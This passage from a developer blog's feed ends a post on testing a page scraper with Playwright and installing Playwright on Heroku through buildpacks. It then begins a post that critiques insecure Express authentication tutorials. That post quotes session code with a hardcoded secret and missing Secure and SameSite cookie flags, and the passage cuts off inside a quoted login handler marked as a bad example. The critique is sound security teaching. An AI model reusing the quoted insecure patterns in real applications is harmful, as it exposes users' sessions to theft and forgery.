&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { test, expect } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;@playwright/test&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;initDI&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ config: {}, database: {} });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;url provided to scraper gets title and content&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; ({ &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;page&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; }) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;scraper&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; container.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;resolve&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;PageScraper&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;title&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;content&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; scraper.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;scrapePage&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    url: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;https://www.example.com&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Expect a title &quot;to contain&quot; a substring&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;expect&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(title).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;toContain&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Title goes here...&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Expect the page content to be at least 1000 characters long&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;expect&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(content.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;toBeGreaterThan&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1000&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we can also further update the &lt;code&gt;package.json&lt;/code&gt; section for &lt;code&gt;scripts&lt;/code&gt; to allow easily running these tests:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;scripts&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;test:scrapers&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;npx playwright test scrapers/*.spec.js&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;installing-playwright-on-heroku&quot;&gt;Installing Playwright on Heroku&lt;/h2&gt;
&lt;p&gt;Getting Playwright to work on Heroku wasn’t smooth sailing. It looked for browser dependencies that weren’t installed by default and not in the location it expected them.&lt;/p&gt;
&lt;p&gt;So the Heroku Node.js application build failed with errors like this:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;remote:        &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; app-api@1.0.0 postinstall&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;remote:        &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; npx playwright install chromium --with-deps&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;remote:        &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;remote:        Installing dependencies...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;remote:        Switching to root user to install dependencies...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;remote:        Password: su: Authentication failure&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;remote:        Failed to install browsers&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;remote:        Error: Installation process exited with code: 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;remote:        npm error code 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;remote:        npm error path /tmp/build_e814256b&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;remote:        npm error &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;command&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; failed&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;remote:        npm error &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;command&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; sh -c npx playwright install chromium --with-deps&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;remote:        &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;remote:        npm error A &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;complete&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; log of this run can be found in: /tmp/npmcache.KPL0X/_logs/2024-05-08T06_12_14_978Z-debug-0.log&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That command &lt;code&gt;npx playwright install chromium --with-deps&lt;/code&gt; was failing because it was trying to install the browser dependencies as the root user and Heroku doesn’t allow that, and I added this as a &lt;code&gt;postinstall&lt;/code&gt; script in my &lt;code&gt;package.json&lt;/code&gt; file to make sure that browser dependencies are installed when the app is deployed to Heroku. However, that didn’t work out.&lt;/p&gt;
&lt;p&gt;The solution was to install the browser dependencies via buildpacks, which is something like container images that can be layered. That meant that I also needed to use the &lt;code&gt;heroku/nodejs&lt;/code&gt; buildpack as well, and couldn’t just leave it to only having a &lt;code&gt;Procfile&lt;/code&gt; and default to Heroku knowing how to build the app.&lt;/p&gt;
&lt;p&gt;And so, add to your &lt;code&gt;app.json&lt;/code&gt; (or create one, I guess), the following buildpacks directives:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;{ &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;buildpacks&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;url&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;https://github.com/mxschmitt/heroku-playwright-buildpack.git&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;url&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;https://github.com/heroku/heroku-buildpack-nodejs&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  ]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And then, you can deploy your app to Heroku and it should work. The Playwright browser dependencies should be installed and you should be able to run your Playwright tests on Heroku.&lt;/p&gt;
&lt;h2 id=&quot;follow-up-playwright-heroku-deployment-resources&quot;&gt;Follow-up Playwright Heroku Deployment Resources&lt;/h2&gt;
&lt;p&gt;See the official Heroku documentation for a &lt;a href=&quot;https://elements.heroku.com/buildpacks/playwright-community/heroku-playwright-buildpack&quot;&gt;Playwright community buildpack&lt;/a&gt; and an &lt;a href=&quot;https://github.com/playwright-community/heroku-playwright-buildpack&quot;&gt;example Express Playwright repository&lt;/a&gt; for practical examples.&lt;/p&gt;</content:encoded></item><item><title>Poor Express Authentication Patterns in Node.js and How to Avoid Them</title><link>https://lirantal.com/blog/poor-express-authentication-patterns-nodejs/</link><guid>https://lirantal.com/blog/poor-express-authentication-patterns-nodejs/</guid><description>Tired of seeing poor authentication patterns in Node.js applications and Express code examples? Here&apos;s a guide on how to avoid them and what to do instead</description><pubDate>Fri, 03 May 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;It’s ok to roll your own authentication if you want to build that into your Express applications, but following bad security advice is not going to end well. More often than not, I’m double-clicking into security related guides and tutorials on blogs because I’m curious at what and how other developers are teaching security topics and what they consider as best practices.&lt;/p&gt;
&lt;p&gt;Unfortunately, I’ve come across a lot of guides that are teaching poor authentication patterns. I’ll skip the name calling but I’ll point out this was a dev.to post that was highly upvoted (279 bookmarked) and it was teaching a poor authentication pattern.&lt;/p&gt;
&lt;p&gt;I’ll share two specific snippets that are really obvious: one related to cookie setup in an Express application and the other related to a login route handler in classic Node.js applications.&lt;/p&gt;
&lt;h2 id=&quot;avoid-poor-cookie-setup-in-express-applications&quot;&gt;Avoid Poor Cookie Setup in Express Applications&lt;/h2&gt;
&lt;p&gt;Here’s an example of a Node.js application using Express.js to implement session authentication, straight from the original blog post:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;express&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;express&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;session&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;express-session&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;app&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;express&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Middleware setup&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;app.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;use&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;session&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  secret: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;your_secret_key&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  resave: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  saveUninitialized: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  cookie: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    httpOnly: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Set the cookie as HTTP-only, Optional&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    maxAge: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;60&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;30&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// In secs, Optional&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}));&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let’s call out the problems:&lt;/p&gt;
&lt;h3 id=&quot;1-hardcoded-secrets&quot;&gt;1. Hardcoded Secrets&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Problem&lt;/strong&gt;: We often see examples with sensitive information like secret keys stored directly in the code (e.g., secret: &lt;code&gt;your_secret_key&lt;/code&gt;). I realize this is a tutorial, but it’s a bad practice to hardcode secrets in your codebase and then push it to a public repository. At least, add a reference to &lt;code&gt;.env&lt;/code&gt; files or use a &lt;code&gt;process.env.SECRET_KEY&lt;/code&gt; code reference to access the secret key that conveys the point about security best practice here.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Solution&lt;/strong&gt;: Move the secret key definition to a dedicated environment variable. This allows separation of concerns and keeps sensitive information out of the codebase. You can access environment variables in Node.js using &lt;code&gt;process.env.VARIABLE_NAME&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Recommended read on this topic is &lt;a href=&quot;https://lirantal.com/blog/environment-variables-configuration-anti-patterns-node-js-applications/&quot;&gt;environment variables and configuration anti patterns in Node.js applications&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;2-poor-cookie-configuration&quot;&gt;2. Poor Cookie Configuration&lt;/h3&gt;
&lt;p&gt;Not only poor cookie configuration but also a lack of security headers in the response, and generally a lack of good security practices in cookie setup.&lt;/p&gt;
&lt;p&gt;Consider the following cookie configuration that are completely lacking:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Secure Flag&lt;/strong&gt;: The secure flag should be set to true to ensure the cookie is only transmitted over HTTPS connections. This mitigates eavesdropping on unsecured connections.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SameSite Attribute&lt;/strong&gt;: The &lt;code&gt;SameSite&lt;/code&gt; attribute helps prevent Cross-Site Request Forgery (CSRF) attacks. Setting it to &lt;code&gt;strict&lt;/code&gt; provides the strongest protection but might require additional configuration. Consider &lt;code&gt;lax&lt;/code&gt; as a compromise for broader compatibility.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Domain&lt;/strong&gt;: The &lt;code&gt;domain&lt;/code&gt; attribute specifies the domain for which the cookie is valid. By default, it’s set to the server’s domain. If your application operates on a single subdomain, set the domain to that subdomain (e.g., domain: ‘yoursubdomain.example.com’). For applications spanning multiple subdomains under the same main domain, consider using a wildcard domain (e.g., domain: ‘.example.com’). However, use caution with wildcards as they can introduce unintended behavior with third-party cookies.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Path&lt;/strong&gt;: The path attribute specifies the path on the server where the cookie is valid. Set the &lt;code&gt;path&lt;/code&gt; to the specific path where the cookie is needed (e.g., path: ‘/api’). This restricts the cookie’s scope and reduces the risk of exposure on unintended paths.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;3-no-mention-of-csrf&quot;&gt;3. No mention of CSRF&lt;/h3&gt;
&lt;p&gt;The blog post doesn’t mention CSRF protection at all. CSRF attacks are a common threat to web applications, and it’s important to protect against them. If you are writing about a session-based authentication with cookies, you should at least mention Cross-Site Request Forgery (CSRF) as a potential threat and how propose some ways to mitigate it.&lt;/p&gt;
&lt;h3 id=&quot;4-no-mention-of-session-expiration&quot;&gt;4. No mention of Session Expiration&lt;/h3&gt;
&lt;p&gt;The example sets a &lt;code&gt;maxAge&lt;/code&gt; for the cookie, but it’s recommended to also implement server-side session expiration. This ensures sessions are invalidated even if the user’s browser doesn’t clear the cookie properly.&lt;/p&gt;
&lt;h2 id=&quot;avoid-poor-login-route-handlers-in-nodejs-applications&quot;&gt;Avoid Poor Login Route Handlers in Node.js Applications&lt;/h2&gt;
&lt;p&gt;The following is a &lt;em&gt;bad example&lt;/em&gt; of a login route handler in a Node.js application, however this is a copy&amp;#x26;paste from the original blog post:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;app.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;post&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;/login&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;req&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;res&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;username&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;password&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; req.body;&lt;/span&gt;&lt;/span&gt;
